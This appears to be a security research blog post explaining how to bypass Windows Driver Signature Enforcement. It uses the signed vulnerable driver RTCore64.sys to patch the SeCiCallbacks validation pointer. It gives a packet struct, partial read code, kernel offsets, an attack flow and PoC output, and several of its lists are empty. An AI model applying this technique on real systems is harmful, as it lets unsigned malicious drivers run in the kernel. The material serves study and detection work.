A Zero-Restart Kernel Bypass: Exploiting Code Integrity Callback Manipulation on a fully updated Windows 11
{Feel free to contact me if you're interested in the code or further research}
Executive Summary
Driver Signature Enforcement (DSE) stands as one of Windows' most critical security mechanisms and a source of pride for Microsoft's security architecture. Since its introduction in Windows Vista x64, DSE has evolved into a sophisticated multi-layered defense system that forms the bedrock of kernel integrity protection. It ensures that only cryptographically signed, trusted code can execute with kernel privileges, a fundamental requirement for maintaining system security in modern computing environments.
This research demonstrates a critical vulnerability that allows loading unsigned kernel drivers on fully patched Windows 10 and Windows 11 systems. The technique exploits a signed vulnerable driver (in our case RTCore64.sys) to gain arbitrary kernel memory read/write capabilities, then surgically patches the Code Integrity callback table to neutralize driver signature validation.
What makes this technique unique:
Our approach represents a unique and the most precise and elegant DSE bypass technique available, achieving complete kernel code signing bypass through:
Unlike alternative techniques that require system reboots, modify multiple kernel structures, trigger security mechanisms, or cause system instability, our method achieves the objective with minimal footprint and maximum reliability.
Impact: Complete bypass of Windows kernel code signing system without requiring system restart or causing any system instability.
Understanding Driver Signature Enforcement
The Code Integrity Subsystem
Windows implements driver signature verification through the Code Integrity (CI) subsystem, primarily contained in ci.dll. When a driver is loaded, the kernel invokes CI callbacks to validate the driver's digital signature before allowing execution.
The validation process involves:
If any step fails, the driver load is aborted with error code 577 (ERROR_INVALID_IMAGE_HASH).
We use these policies in cybee.ai to validate binary signing certificates before allowing a process to execute.
The SeCiCallbacks Table
The kernel doesn't call ci.dll functions directly. Instead, it uses a callback-based architecture through the SeCiCallbacks table, a global data structure in ntoskrnl.exe containing function pointers to various CI validation routines.
This indirection provides flexibility but creates an attack surface. If an attacker can modify these function pointers, they can redirect validation to functions that always return success.
The Vulnerability
There are numerous vulnerabilities across both standard Windows drivers and third-party drivers. For this research, we focused on RTCore64.sys, a legitimately signed MSI driver whose IOCTL handlers expose unrestricted physical memory access due to insufficient validation. At cybee.ai , we have already reported two kernel-level vulnerabilities of this type to Microsoft, highlighting how widespread and impactful these issues are.
The RTCore64.sys driver exposes IOCTL interfaces for direct hardware access, including memory-mapped I/O operations.
The vulnerability: The driver's IOCTL handlers do not validate memory addresses. They accept any address, including kernel space, allowing arbitrary kernel memory read and write from user mode.
IOCTL Interface
The driver exposes two critical IOCTLs:
The packet structure requires precise formatting:
struct alignas(8) MemoryPacket {
BYTE Pad0[8];
UINT64 Address; // Target address
BYTE Pad1[8];
UINT32 Size; // Always 4 bytes
UINT32 Value; // Data to read/write
BYTE Pad3[16];
};
64-bit Operations
Since the driver only supports 32-bit operations, reading/writing 64-bit values requires two operations:
This creates a brief non-atomic window, but in practice this is safe during our exploitation as no concurrent operations occur.
The SeCiCallbacks Architecture
Callback Table Structure
The SeCiCallbacks table is a data structure in ntoskrnl.exe containing function pointers for various Code Integrity operations. The table layout includes multiple callback slots, each serving a specific validation purpose.
Through reverse engineering and symbol analysis, we identified that the callback at offset +0x20 from the table base is CiValidateImageHeader, the primary function responsible for driver signature validation.
The Perfect Stub: ZwFlushInstructionCache
For the bypass to work, we need a replacement function that:
ZwFlushInstructionCache is the perfect candidate:
When the kernel invokes what it thinks is CiValidateImageHeader, it actually calls ZwFlushInstructionCache, which performs a harmless operation and returns success. The kernel interprets this as "signature validation passed" and proceeds to load the unsigned driver.
The Challenge: Finding Correct Offsets
The Version-Specific Problem
Windows uses Address Space Layout Randomization (KASLR) to load ntoskrnl.exe at a random base address on each boot. However, the offsets from the base to specific symbols remain constant for a given Windows build.
The challenge: These offsets change between Windows versions. What works on Windows 11 25H2 doesn't work on Windows 10 22H2.
Initial Approach: Estimated Offsets
Our first attempt used offsets from public research:
Recommended by LinkedIn
// Windows 10 (estimated)
OFFSET_SECICALLBACKS = 0xC1C4E0;
OFFSET_ZWFLUSH = 0x3F6D70;
Result: Failed. The callback read as 0xFFFFFFFFFFFFFFFF (invalid memory) or 0x0 (NULL), indicating wrong offsets.
Using WinDbg for Symbol Resolution
The Definitive Solution: PDB Symbols
Microsoft provides Program Database (PDB) symbol files containing exact symbol-to-offset mappings for every Windows build. Using WinDbg with PDB symbols gives us 100% accurate offsets.
Step-by-Step Symbol Resolution
1. Enable Kernel Debugging
On the target Windows 10 system, we used WinDbg in local kernel debugging mode:
cd "C:\Program Files (x86)\Windows Kits\10\Debuggers\x64"
.\windbg.exe -kl
2. Resolve Symbol Addresses
In WinDbg, we used the x command to find symbol addresses:
lkd> x nt!SeCiCallbacks
fffff806`2261dac0 nt!SeCiCallbacks = <no type information>
lkd> x nt!ZwFlushInstructionCache
fffff806`21dfb790 nt!ZwFlushInstructionCache (ZwFlushInstructionCache)
3. Find ntoskrnl Base Address
lkd> lm m nt
start end module name
fffff806`21a00000 fffff806`22a46000 nt (pdb symbols)
The start address is the ntoskrnl base: 0xFFFFF80621A00000
4. Calculate Offsets
OFFSET_SECICALLBACKS = 0xFFFFF8062261DAC0 - 0xFFFFF80621A00000 = 0xC1DAC0
OFFSET_ZWFLUSH = 0xFFFFF80621DFB790 - 0xFFFFF80621A00000 = 0x3FB790
Verification
With the correct offsets, our PoC now read a valid kernel address for the callback:
Original callback: 0xFFFFF80322C50280 ← Valid CiValidateImageHeader address!
This confirmed we were finally accessing the correct memory location.
The Exploitation Technique
Attack Flow
1. Load RTCore64.sys (signed vulnerable driver)
2. Open device handle to \\.\RTCore64
3. Enumerate loaded drivers to find ntoskrnl.exe base
4. Calculate SeCiCallbacks address:
callbackAddr = ntoskrnl_base + OFFSET_SECICALLBACKS + 0x20
5. Read original callback pointer (CiValidateImageHeader)
6. Calculate ZwFlushInstructionCache address:
zwFlushAddr = ntoskrnl_base + OFFSET_ZWFLUSH
7. Write ZwFlushInstructionCache address to callback pointer
8. Load unsigned driver - signature validation now always succeeds!
Memory Operation Details
Reading a 64-bit kernel pointer:
bool ReadMemory64(UINT64 address, UINT64& value) {
// Read low 32 bits
packet.Address = address;
packet.Size = 4;
DeviceIoControl(hDriver, IOCTL_READ, ...);
UINT32 low = packet.Value;
// Read high 32 bits
packet.Address = address + 4;
DeviceIoControl(hDriver, IOCTL_READ, ...);
UINT32 high = packet.Value;
// Combine into 64-bit value
value = ((UINT64)high << 32) | low;
}
Writing follows the same pattern, decomposing the 64-bit value into two 32-bit writes.
Testing and Verification
Execution Results
=== Minimal DSE Bypass PoC ===
[1] Loading RTCore64.sys...
[+] RTCore64 loaded
[2] Finding ntoskrnl.exe base...
[+] ntoskrnl.exe at 0xfffff8031e600000
[3] Patching SeCiCallbacks...
[+] Original callback: 0xfffff80322c50280
[+] DSE bypassed!
[4] Loading unsigned TestDriver.sys...
[*] Path: Z:\deploy\TestDriver.sys
[+] Unsigned driver loaded successfully!
=== SUCCESS ===
DSE bypass demonstrated.
Unsigned kernel driver is now running.
Service Verification
PS> sc.exe query testdriver
SERVICE_NAME: testdriver
TYPE : 1 KERNEL_DRIVER
STATE : 4 RUNNING
WIN32_EXIT_CODE : 0 (0x0)
The unsigned driver is confirmed running in kernel mode with no errors.
Detection and Mitigation
Current Detection Limitations
This technique is difficult to detect because:
cybee.ai detects this exploitation by:
Conclusion
This research demonstrates that Driver Signature Enforcement, while a critical security feature, can be completely bypassed through precise kernel memory manipulation.
The vulnerability highlights the importance of:
Responsible Disclosure
This research is published for educational purposes and to advance defensive security. It is not a zero day exploit, techniques described are well-known in the security community. Microsoft has been aware of BYOVD attacks for years and provides mitigation through HVCI and driver blocklists.
For security researchers: Use this knowledge to improve defenses, develop detection mechanisms, and understand kernel security architecture.
This research is provided for educational and defensive security purposes only. Unauthorized access to computer systems is illegal.
